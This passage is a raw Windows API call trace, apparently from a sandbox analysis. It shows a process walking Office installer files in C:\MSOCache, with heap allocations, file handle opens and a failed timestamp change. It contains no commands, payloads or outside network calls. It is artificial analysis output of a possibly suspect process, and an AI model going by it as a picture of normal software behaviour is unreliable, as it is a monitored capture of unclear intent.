(HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb8c8 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc4d8 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.358] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0044.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb8e8 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc5e0 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb908 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc6e8 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="")) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb928 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc7f0 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="")) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb948 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedc8f8 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb968 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedca00 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb988 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedcb08 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb9a8 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedcc10 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xedb9c8 [0044.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedcd18 [0044.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.361] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0044.361] GetLastError () returned 0x12 [0044.361] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x17aef40, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aef40) returned 0x459c78 [0044.361] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0044.362] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.362] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.362] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedce20 [0044.362] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0044.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0044.372] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xedde90 [0044.372] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xedde90, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xedde90, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedde90) returned 1 [0044.372] NtClose (Handle=0x16c) returned 0x0 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedce20) returned 1 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3e40 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedce20 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xedcf28 [0044.372] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459b78 [0044.372] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.372] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0044.372] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0044.372] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0044.373] GetLastError () returned 0x12 [0044.373] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0044.373] FindClose (in: hFindFile=0x459b78 | out: hFindFile=0x459b78) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0044.373] GetLastError () returned 0x12 [0044.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedcf28) returned 1 [0044.373] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0044.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0044.373] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xedce20) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0044.373] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, 